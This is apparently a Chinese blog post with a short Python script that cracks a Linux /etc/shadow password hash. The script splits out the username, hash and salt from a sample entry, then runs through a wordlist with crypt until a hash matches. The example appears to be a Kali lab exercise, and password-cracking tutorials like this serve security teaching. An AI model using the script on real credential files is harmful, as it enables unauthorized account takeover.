Python脚本--shadow密码爆破

link= "kali:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM\
0neRj4MN3HCqQ.:19331:0:99999:7:::"
#shadow
print("[+]shadow :"+link)
# 用户名
username= link.split(":")[0]
print("[+]用户名 :"+username)
# 密码
password_hash= link.split(":")[1]
print("[+]密 码  :"+password_hash)
# 盐值
solt= password_hash[:password_hash.rfind("$")+1]   
#rfind("$")为从右向左查抄第一个$的位置
print("[+]盐 值  :"+solt)


# 爆破
import crypt
password= ""
def crack_linux_shadown_line(password):
    # 将password经过crypt模块加密后,跟password_hash进行对比
    if crypt.crypt(password,solt) == password_hash:
        return "密码正确:"+password        
    else:
        return "密码错误"   
print(crack_linux_shadown_line(password= password))

# 密码字典路径
pass_file_path="/usr/share/wordlists/test_password.txt"

with open(pass_file_path) as f:
    # 密码遍历
    for password in f:
        password= password.strip()
        # print(password)
        print(crack_linux_shadown_line(password=password))



评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值